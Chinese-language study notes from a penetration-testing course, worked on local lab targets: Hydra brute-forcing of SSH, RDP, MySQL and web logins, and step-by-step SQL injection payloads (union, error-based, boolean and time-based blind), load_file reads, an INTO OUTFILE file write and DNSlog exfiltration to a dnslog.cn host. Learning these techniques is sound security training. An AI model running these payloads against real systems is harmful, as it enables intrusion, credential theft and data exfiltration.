02的补充
九头蛇 hydra
组织thc的一款开源的暴力破解密码工具,kali下默认安装,支持所有协议的在线破解,能爆破SSH登录密码,RDP远程密码,MySQL登录密码(取决于电脑性能和密码字典的强大)
llogin小写 指定用户名进行破解
Lfile大写 指定用户的用户名字典
ppass小写 用于指定密码破解(很少用)一般采用密码字典
Pfile大写 用于指定密码字典
ens额外的选项,n:空密码试探,s:使用指定账户和密码试探
Mfile制定目标ip列表文件,批量破解
ofile 指定结果输出文件
f 找到第一对登录名或者密码的时候终止破解
ttasks 同时运行的线程数 默认16
wtime 设置最大超时时间
v-V显示详细过程
R恢复爆破(如果破解中断了,下次执行hydra -R /path/tohydra.restore就可以继续任务)
x自定义密码
爆破SSH登陆密码-kali实践
- 先把要用到的字典拖进桌面,从桌面打开终端或者别的地方打开终端cd到桌面,其实只要确保命令路径下包含字典都行吧,为了方便默认桌面。
service ssh restart--开启ssh服务hydra -l kali -P kalipassword.txt -t 3 -e ns 127.0.0.1 ssh指定用户名kali, 用kalipassword.txt文件使用三个线程,爆破本地的ssh
Windows 2003-1 启动了 不知道开机密码
- 目标的ip地址--确定物理机的网,和kali的网,然后nmap扫网段就行了
hydra -l Administrator -P kalipassword.txt -t 3 -e ns 192.168.20.254 rdp
没成功 不对,换着试试
出来了哦
爆破MySQL登陆密码
service mysql restart
mysql -u root直接回车
修改密码,给MySQL初始会工作,MySQL才能使用
ALTER USER 'root'@'localhost'IDENTIFIED BY '123456';
exit
以上为搭建mysql靶场,提供爆破机会
hydra -l root -P kalipassword.txt -t -3 -e -ns localhost mysql
!!中间出现一点错误!!
我尽量一步一步来看我刚刚怎么进行的
-
错误点:Kali 的 MariaDB 默认给 root 用户用
unix_socket插件(本地 Linux 用户免密码登录),导致 Hydra 的密码爆破无效。 -
解决方法:将 root 用户的认证插件改为
mysql_native_password(密码认证模式),让密码登录生效。
-
错误原因:MariaDB 10.4 + 版本中,
mysql.user是视图而非物理表,因此无法通过UPDATE命令直接修改其字段,触发ERROR 1356。 -
当前状态:从
SELECT结果可知,root@localhost的认证插件已经是mysql_native_password(符合密码登录要求),仅需确认密码是否正确配置。
直接使用 MariaDB 支持的密码设置命令(适配视图结构):
- 设置 root 用户密码:(重中之重!!!也是我成功的变化开始)
SET PASSWORD FOR 'root'@'localhost' = PASSWORD('123456');
- 刷新权限使配置生效:
FLUSH PRIVILEGES;
- 验证登录(退出 MariaDB 后在终端执行):
mysql -u root -p123456
小小总结一波爆破mysql中遇到的一些问题
在 Kali Linux 中,你实际使用的是MariaDB(Kali 默认预装 MariaDB,兼容 MySQL 命令),这两个错误的含义及触发场景如下:
1. ERROR 1064
-
含义:SQL 语法错误。
-
触发原因:输入的 SQL 语句不符合 MariaDB 的语法规则,常见场景包括:
- 关键字 / 函数名拼写错误
- 符号错误
- 语句格式错误(比如 SQL 命令缺失必要的关键字、分号)。
2. ERROR 1356
-
含义:视图引用无效的对象(表 / 列 / 函数)。
-
触发原因:MariaDB 10.4 + 版本中,
mysql.user不再是物理表,而是系统视图(用于兼容旧版语法),常见场景包括:- 试图用
UPDATE命令直接修改mysql.user视图的字段(视图不支持直接更新操作,你之前尝试用UPDATE修改mysql.user时触发了该错误); - 视图依赖的底层物理表 / 字段被修改或删除。
- 试图用
3.USE mysql
爆破HTTP请求
破一下wz靶场的
form表单里面,是何种请求,就写什么
hydra -t 3 -l luojie -P password.txt -s 80 192.168.220.1 http-get-form "/wz/login.php:user=^USER^&pass=^PASS^:⽤户名或密码错误"
3线程,l用户名,P字典 -s来源 端口 ip;http中间是get 取决于源代码里面 ;/wz靶场 ;固定格式;错误返回
BP手动干,九头蛇一条命令解决,但是速度再说
爆破一个压缩包的密码-zip密码爆破(嗯很多打不开 接单五百块一千块的,自己干就行了)
7 zip解压会这样
我的电脑默认解压会这样
无毒版本-该工具有自己自带的字典
会自动分析,停掉,然后范围,先全选数字,然后再说
就出来了
SQL注入 开始
有⼈在你⽹站的输⼊框(⽐如登录框、搜索框)⾥,不是输正常内容,⽽
是偷偷塞⼀段 SQL 数据库命令,想骗数据库执⾏,达到偷数据、删数据甚⾄改⽹站的⽬的。
数据库复习
MySQL概念
phpstudy(旧)
新版本数据库小皮面板没有一键导入功能,只能一行一行执行
MySQL增删改查-注意选中user表的数据库再执⾏
增
INSERT INTO `user` VALUES (3, 'derry', '654321', '4301032xxxxxxx', '18971712871', 40);
第⼆种写法:
INSERT into `user` (id,username,password,cardid,tel,diamond)
VALUES(4,'derry2','666666','4301039xxxxxxx','19971712221',100)
删-删除⽤户为derry的⽤户
DELETE from user where username ='derry'
改-修改⽤户为derry的⽤户的钻⽯增加10000:
update `user` set diamond = diamond+10000 where username ='derry'
查
- 查询所有⽤户
select * from user;
- 查询⽤户为luojie的⽤户与密码:
select username, password from user where username ='luojie'
- 查询其他数据库信息(查询银⾏库的账号表)
select * from bank.amount
wz靶场
案例一
a'or'1'='1万能密码 原理
- 站在黑客角度考虑
select * from 表名 where ⽤户名='账号' and 密码='密码'
select * from 表名 where ⽤户名 =‘账号输⼊框’ and 密码 =‘密码输⼊框’
- 站在程序员角度思考
表单 user;
用户名 username;
密码 password
select * from game.user where username = 'admin' and password = '654321'
select * from game.user 【查询所有】
攻击用户名
账号: a'or'1'='1 密码: 123456 依据上条
select * from user where username = 'a' or '1' ='1' and password = '123456'
【查询⼀条】
select * from user where username = 'a' or true and password = '123456'
【查询⼀条】
127.0.0.1/wz/login.php?user=a%27or%6271%27%3D%271&pass=123456&/submit=登录
改一改;密码也改成'or'1'='1 也是可以的
127.0.0.1/wz/login.php?user='or'1'='1&pass=123456
or
http://localhost/wz/login.php?user=a&pass='or'1'='1
应该是
select * from user where username = 'a' and password = '' or '1'='1
http://localhost/wz/login.php?user=aaa&pass=bbb'or'1'='1--错 错 对
注意
& 是给链接用的
and是给数据库用的
案例二
wz靶场
http://localhost/wz/url.php?date=20231012
目标 获取所有用户+密码
- 数据库名称(表的数据库是哪一个)
- 需要的表(表是哪一个)
- 用户名+密码(用户名和密码存在哪里)
- 黑客思维
寻找注入点
http://localhost/wz/url.php?date=20231012
只有后半部分 dete=*** 是可以修改的内容;比如str=*** ;id=*** ;这个地方叫注入点
date时间日期 2023 10 12
那数据库语法:
select * from 新闻表 where 时间 ='黑客注入点'
- 程序员思维
select * from news where datestr='20231012'
新闻表--news
date是关键字 会与数据库里内容冲突-数据库行数
要做一个并集union-必须要知道前一张表有几列,然后去拼后面的表--列列对应;并集连接完成后同时查询
select * from news where datestr='' union select DATABASE(),'','',''
把程序员思维转换为黑客思维;sql转换为链接注入点能实际用的
select * from news where datestr='' union select DATABASE(),'','',''
http://localhost/wz/url.php?date=' union select DATABASE(),'','','
获取该数据库的所有表
select TABLE_name from information_schema.TABLES t where t.TABLE_SCHEMA='game'
简单回忆-information_schema里面表-然后TABLES:是所有数据库都有的,内置的所有表
得出结果有两行,union疯了??? 现在的目的是两行变一行
select * from news where datestr='' union SELECT (select GROUP_CONCAT(TABLE_name)from information_schema.`TABLES` t where t.TABLE_SCHEMA='game'),'','',''
der 多了一个SELECT
现在SQL语句变成黑客链接注入点
http://localhost/wz/url.php?date='注入点'
http://localhost/wz/url.php?date=' union SELECT (select GROUP_CONCAT(TABLE_name)from information_schema.`TABLES` t where t.TABLE_SCHEMA='game'),'','','
user 里很明显就是所有的用户名和密码
MYSQL语法
一阶段:这个也是查内设置的表库的所有列,这个c是代号别名可以随便改
select c.COLUMN_NAME from information_schema.`COLUMNS` c where c.TABLE_SCHEMA='game' and c.TABLE_NAME='user'
union无法并集:又要把多行变为一行
GROUP_CONCAT()
SELECT
(select GROUP_CONCAT(c.COLUMN_NAME )from information_schema.`COLUMNS` c
where c.TABLE_SCHEMA='game'and c. TABLE_NAME='user')
确认能一行然后union可以放心去并集
结果
然后sql转链接-链接
http://localhost/wz/url.php?date='
union
SELECT
(select GROUP_CONCAT(c.COLUMN_NAME )from information_schema.`COLUMNS` c
where c.TABLE_SCHEMA='game'and c. TABLE_NAME='user'),'','','
得出列名
id,username,password,cardid,tel,diamond
select * from news where datestr=''
union
select username,password,cardid,'需要'from user
where '1'='1'
SQL语句变成链接
http://localhost/wz/url.php?date='
union
select username,password,cardid,'需要'from user
where '1'='1
这是一条分割线一半课了哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈
二课
蓝队视角
以wz靶场为例子,就只盯着日志看就行
有正常访问就多一个正常的日志文件
看右下角时间 以及log日志的时间更新
没有什么告警关键字 如union 并集,就要考虑是不是攻击
bbs靶场
解压后,里面又是bbs和sql,这个时候把里面的bbs剪贴,覆盖www下的bbs就能用了
然后回忆一下靶场 怎么弄
密码root
这节课相当于有多个注入点
先按照流程 注册用户,发表论坛内容,观察数据库。
ctrl+s保存
该图是
id=1
http://127.0.0.1/bbs/showmessage.php?id=1)
还有可能是str=1/ze=1/xx=1
id改成2
有变化有回显示 ,输入1、2有数据,3没数据,只有两条数据
显示也是id=1的页面
到5就没了,证明表有四列
http://127.0.0.1/bbs/showmessage.php?id=1%20order%20by%205
- 哪些列是有注入点的
-1 union select 1,2,3,4(有几列写多少)
有几个数字就是有几个注入点
没有注入点1:1被隐藏了
上节课只有一个注入点
写一个错误
id=错id;
才会显示后边的并集
获得数据库名字
比上节课简单,有三个注入点,语法可以更加精简
- 版本号?有啥用
http://127.0.0.1/bbs/showmessage.php?id=-1%20union%20select%201,2,version%28%29,database%28%29
回归SQL语句
select * from message where id=-1 union select 1,2,version(),batabase()
获取所有的数据库名
MySQL-获取所有数据库名称
(select group_concat(schema_name)from information_schema.schemata)
还有一个简写方法
group_concat(schema_name)from information_schema.schemata
出错问题未解决 等老师
问题解决了,重启后运行了一遍全走通了
对应SQL
SELECT * FROM messages where id =-1 union select 1,2,version(),(select group_concat(schema_name)from information_schema.schemata)
获取数据库的表
查询jrlt数据库的所有表名
(select group_concat(table_name) from information_schema.tables where table_schema='jrlt')
还是习惯了加上select
SQL:
select * from messages where id=-1 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='jrlt'
链接
http://localhost/bbs/showmessage.php?id=-1 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='jrlt'
获得数据库对应表中的所有字段(列)
获取 jrlt数据库 user表 所有字段(s)column_name
-1 union select 1,注入二,注入三,注入四
(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt')
链接
http://localhost/bbs/showmessage.php?id=-1 union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt')
获取刚刚字段(列)的数据————用户名和密码
id,name,password,photo,money
这些列,假设我目前想要name,password列的具体数据
注入点
-1 union select 1,注入二,注入三,注入四
SQL:查询user表的name和password字段
我现在在SQL都要加select
(select concat(name,':',pasword) from users)
SQL
select * from messages where id=-1 union select 1,2,3,(select concat(name,':',password) from users limit 0,1)
链接
http://localhost/bbs/showmessage.php?id=-1 union select 1,2,3,(select concat(name,':',password) from users limit 0,1)
密码--MD5--字母数字百分号?
报错型注入
蓝队视角
让数据库报错 ,绕过防御-报错形注入
考虑到成功率和时间成本⽐union成本⾼,需要数据库有错误信息,⼀般在union条
件不能实施的时候,才考虑“报错型注⼊”
group by重复键冲突
(count()+floor()+rand()+group by组合)就是利⽤count()、rand()、floor()、 group by这⼏个特定的函数结合在⼀起产⽣的注⼊漏洞
固定公式1
'1'='1'
固定公式2
(select 1 from (select count(*),concat(0x5e,(select version() from information_schema.tables limit 0,1),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)
查出来版本号,5.5.53
(select 1 from (select count(*),concat(0x5e,(select database() from information_schema.tables limit 0,1),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)
and 前后都要对才能运行,or一边对就行
对应SQL
select * from messages where id=8888 (select 1 from (select count(*),concat(0x5e,(select database() from information_schema.tables limit 0,1),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)
- select1:让语法是正确的,返回1是true返回0是false
- from(……)a:这是个⼦查询(……)⾥⾯的内容为查询的数据,a为这个数据的别名
- count(*):information_schema.tables按x分组后有多少条数据
- groupby:分组查询分组的字段为x
- 以下为字段x的解释 concat(0x5e,(selectversion()frominformation_schema.tableslimit0,1),0 x5e,floor(rand(0)*2)
- concat:为连接函数
- 0x5e:"^"符号的16进制,约定俗成,⼀般给程序使⽤
- floor(rand()*2):floor()为向下取整;rand()为取0~1的随机数,*2后返回的数据只可能是0或1
- 为什么会报错?rand(0)为固定的随机数
- SQL先执⾏:selectRAND(0)frominformation_schema.
TABLES - SQL再执⾏:selectfloor(rand(0)*2)frominformation_schema.`TABLES
- 报错的原理(说⽩了,就是插⼊临时表的时候会再进⾏函数运算,引发数据库冲突⽽报错)
select floor(rand(0)*2) from information_schema.`TABLES
不停的产生随机数01010101冲击数据库的组件id,直到崩掉为止
xpath 报错型注入
输⼊命令报错并带回你想得到的核⼼信息
固定公式3
mysql的内置函数,效果与固定公式2一样,但是有一些服务器会做很好的防御,不允许运行extractvalue(特殊大公司一般来说都能防住,腾讯阿里这种都能防住,中小型企业一般防不住)
id=1 and extractvalue(1,concat(0x5c,(select version()),0x5c))
id=1 and extractvalue(1,concat(0x5c,(select database()),0x5c))
select * from messages where id=1 and extractvalue(1,concat(0x5c (select database()),0x5c))
updatexml报错型注入
固定公式4
内置函数updatexml
id=1 and updatexml(1,concat(0x5e,(select version()),0x5e),1)
id=1 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
select * from messages where id=1 and updatexml(1,concat(0x5e,(select version()),0x5e),1)
阿里服务器 腾讯服务器都比较大
蓝队防御绝对不准用union得到数据库名称-使用报错型注入得到
后续操作可以切换回union
数据库并未更新,so 没进去
现在整一下or的原因是什么
报错型注入实战
1.思路
看代码,与sql相关的
$sql="INSERT INTO `messages`( `uname`, `title`, `content`) VALUES
('".$userName."','".$title."','".$content."')";
目前我们看这个代码仍旧是服务器,实际上到达数据库去看是什么样子呢
uname-用户名-Candy1 title-就是标题,什么动物水果的 content-内容-'or '攻击语句' or'
可以认作为固定公式5
固定公式5
or 恶意语句 or
2.数据库名
那(一致一下 换成查数据库)
'or (select 1 from (select count(*),concat(0x5e,(select database() from information_schema.tables limit 0,1),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or'
到达数据库是什么样子
重启数据库暂存图片
、
INSERT INTO `messages`(`upname`,`title`,`content`) VALUES
('','',''or (select 1 from (select count(*),concat(0x5e,(select database() from
information_schema.tables limit 0,1) ,0x5e,floor(rand(0)*2))x from
information_schema.tables group by x)a) or '')
根本没想成功,所以直接upname title content这些直接不写了,本来就是报错型
3.获取表名
SQL知识点--MYSQl 查询数据库jrlt的 tables 很多表的表名
(select group_concat(table_name) from information_schema.tables shere table_schema='jrlt')
固定公式3extractvalue的使用
id=1 and extractvalue(1,concat(0x5c,(select version()),0x5c))
服务器
' or extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='jrlt'),0x5c)) or '
一定没有插入成功
mysql
INSERT INTO `messages`(`upname`,`title`,`content`) VALUES
('','',''or extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='jrlt'),0x5c)) or ' ')
4.获取表字段
一样引用extractvalue公式3和恶意语句公式5
extractvalue(1,concat(0x5c,恶意语句,0x5c))
or 恶意语句 or
INSERT INTO `messages`(`upname`,`title`,`content`) VALUES
('','',''or 恶意语句 or '')
获取 查询jrlt数据库 的 users表 的所有字段列名
(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt')
结合一下
'or extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'),0x5c)) or '
INSERT INTO `messages`(`upname`,`title`,`content`) VALUES
('','',''or extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'),0x5c)) or '')
还有换一下updatexml方式
看看固定公式4
内置函数updatexml
updatexml(1,concat(0x5e,恶意语句,0x5e),1)
直接结合
'or updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'),0x5e),1) or '
INSERT INTO `messages`(`upname`,`title`,`content`) VALUES
('','',''or updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'),0x5e),1) or '')
直接成功好吧
5.获得数据具体信息
获得user 表里name,password两列的数据
(select concat(name,':',password)from users limit 0,1)
'or updatexml(1,concat(0x5e,(select concat(name,':',password)from users limit 0,1),0x5e),1) or'
INSERT INTO `messages`(`upname`,`title`,`content`) VALUES
('','',''or updatexml(1,concat(0x5e,(select concat(name,':',password)from users limit 0,1),0x5e),1) or'')
SQL进阶SQL进阶SQL进阶SQL进阶SQL进阶SQL进阶SQL进阶SQL进阶SQL进阶SQL进阶
进阶
布尔盲注
sql参数后浏览器没有给出对应内容也没有显示报错信息,前者(union和联合查询注入和报错注入)都不行的情况;使用条件,一般情况下当代入参数为真和假时,页面会有不同的反应,有无显示也是一种不同,布尔盲注就是根据这种不同来反推我们输入的条件是真还是假
- 当前网站是否存在 布尔盲注
存在布尔盲注
- 用布尔盲注 来获取 数据库名
一、做范围限定
?id=1 and length(database())<5
真就显示 假就不显示;以length(database())为标准,
?id=1 and length(database())>3
二、做准确判断
?id=1 and length(database())=4
得出结论 数据库长度=4 有意思 jrlt=4个字母 长度为四
- 获取数据库名称(一直数据库名字长度)
ASCII码,目前只用到图形对应十进制
一、范围
?id=1 and ascii(substr(database(),1,1))>64 65为A --数据库的行数
?id=1 and ascii(substr(database(),1,1))<123122为Z
同理 缩小范围
?id=1 and ascii(substr(database(),1,1))>100-真
?id=1 and ascii(substr(database(),1,1))>110-假
在100-110之内
不想截图了好累
二、准确
?id=1 and ascii(substr(database(),1,1))=106 #j真
这都是第一个字符
同样⽅法:判断第⼆个字符,第三个字符,第四个字符
?id=1 and ascii(substr(database(),2,1))=114 #r
?id=1 and ascii(substr(database(),3,1))=108 #l
?id=1 and ascii(substr(database(),4,1))=116 #t
得出数据库名字,验证一下
?id =1 and database()='jrlt'真
- 获得数据库有哪些表
一、数据库的表的个数
select count(table_name)from information_schema.tables where table_schema = database
()
- 范围
?id=1 and (select count(table_name)from information_schema.tables where table_schema=database())<5
?id=1 and (selectcount(table_name)from information_schema.tables where table_schema=database())<2
?id=1 and (selectcount(table_name)from information_schema.tables where table_schema=database())=2
知道有两个表
二、获得某个表的长度 第一张表0,1;第二张表就是1,2
(select table_name from information_schema.tables where table_schema = database() limit 0,1)
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<10真
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<5假
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8真
不想截图 第一个表的长度是8 messages---长度8 然后同上 去试试
5. 获得 表有哪些字段
一、 获得user表列数 获取当前数据库的,users表的,所有列的数量
(selectcount(column_name)from information_schema.columns where table_schema=database()and table_name='users')
?id=1 and (select count(column_name)from information_schema.columns where table_schema=database()and table_name='users')=5
二、获得第一个字段的长度
三、获得第一个字段的名称
其余字段同理
- 获得字段真实内容
一、user字段第一行数据的内容长度
二、获得user字段第⼀⾏数据第⼀个字符内容
延时盲注
延时注入,时间注入,这种方式在传给后台的参数中加了一个if语句,条件为真--sleep;条件为假--无执行语句;根据浏览器反应时间太推测sleep是否被执行;
条件:union、报错、布尔搞定不了的情况---效率极低
判断延迟诸如点
火狐渗透版本 f12
http://127.0.0.1/bbs/showmessage.php?id=1 and sleep (5)
睡觉了是对的,没睡觉是错的
数据库长度
长度
?id=1andif(length(database())<10,sleep(5),1)#睡了代表在10之内的⻓度
?id=1andif(length(database())<3,sleep(5),1)#没有睡代表是错误的
?id=1andif(length(database())=4,sleep(5),1)#睡了代表获得⻓度为4
第一个字符
?id=1andif(ascii(substr(database(),1,1))=106,sleep(5),1)#j睡了对的
?id=1andif(ascii(substr(database(),2,1))=114,sleep(5),1)#r睡了对的
?id=1andif(ascii(substr(database(),3,1))=108,sleep(5),1)#l睡了对的
?id=1andif(ascii(substr(database(),4,1))=116,sleep(5),1)#t睡了对的
?id=1andif(ascii(substr(database(),4,1))=556,sleep(5),1)#乱写的556没有
睡错的
表名
表的字段名
.获得users表的第⼀⾏name字段的数据
DNSlogs盲注
DNSlog盲注就是通过 load_file函数 发起请求,然后去 DNSlog平台 接收数据,需要⽤到load_file函 数就是需要⽤到root⽤户 读写⽂件 的功能;目标网站有一些缺陷
开启文件读写权限功能
现在是手动开启一下目标网站的缺陷---然后再去做红队攻击
这里如果是空 表明缺陷已打开,可以去做攻击
暂存一下 重启
重启后
web url后面
127.0.0.1/bbs/showmessage.php?id=-1 union select 1,2,3,@@datadir
写-1;是为了union并集后面的语法,所以写个错的id;
之前有严肃记录有3个注入点,现在在第三个注入点写入@@datadir
第一次获取并拼接路径
当前网站的详情路径
D:\phpStudy\PHPTutorial\MySQL\data\
获取站点路径(推理有一个Apache,conf,然后是vhosts.config)
'D:\phpStudy\PHPTutorial\Apache\conf\vhosts.conf'
然后不停的拆解
?id=-5 union select 1,2,3,load_file('D:\\phpStudy\\PHPTutorial\\Apache\\conf\\vhosts.conf')
第二次获取并拼接路径
DocumentRoot "D:\phpStudy\PHPTutorial\WWW" Options +Indexes +FollowSymLinks +ExecCGI AllowOverride All Order allow,deny Allow from all Require all granted
至少能得出 文件里有个www,并且当前页面url是有bbs这个
然后拼接,得出bbs的路径应该是这个,目标网站的详情路径
D:\phpStudy\PHPTutorial\WWW\bbs
第三次获取 植入木马文件到bbs网站中
伪造一个木马,把木马组装成test.php 并写入到目标网站去
?id=-1 union select 1,2,3,'<?php phpinfo();?>'into outfile "D:\phpStudy\\PHPTutorial\\WWW\\bbs\\test.php"
这个""是获取所有信息
然后url输入
访问木马文件 暴露bbs所有信息
这个就是简单的一两百块钱的漏洞,可以报高危漏洞,但是厂商认定什么层级无所谓
页面的1,2,3,发现有问题改一下
?id=-1 union select 1,2,3,'<?php phpinfo();?>'into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\bbs\\test.php"
重新走一遍的话 可以先去删掉这个test.php
这下才正确了
DNSlog盲注
这个需要有⽂件读取的权限,如果有着权限⼜不需要使⽤DNSlogs来完成注⼊的 ,需要能打开该网站
1.
2.
点击get 得到一个随机码
nc7lve.dnslog.cn
3.
应该是只是获取 数据库名称
?id=1 and load_file(concat('//',(select database()),'.把上⾯获得的地址,替换到此处/123'))
?id=1 and load_file(concat('//',(select database()),'.u0nim5.dnslog.cn/123'))
jrlt 数据库
- 获得数据库的表
?id=1 and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.u0nim5.dnslog.cn/123'))
我刷新不出来,简单知道怎么走就行了
刷新不出来 网太卡了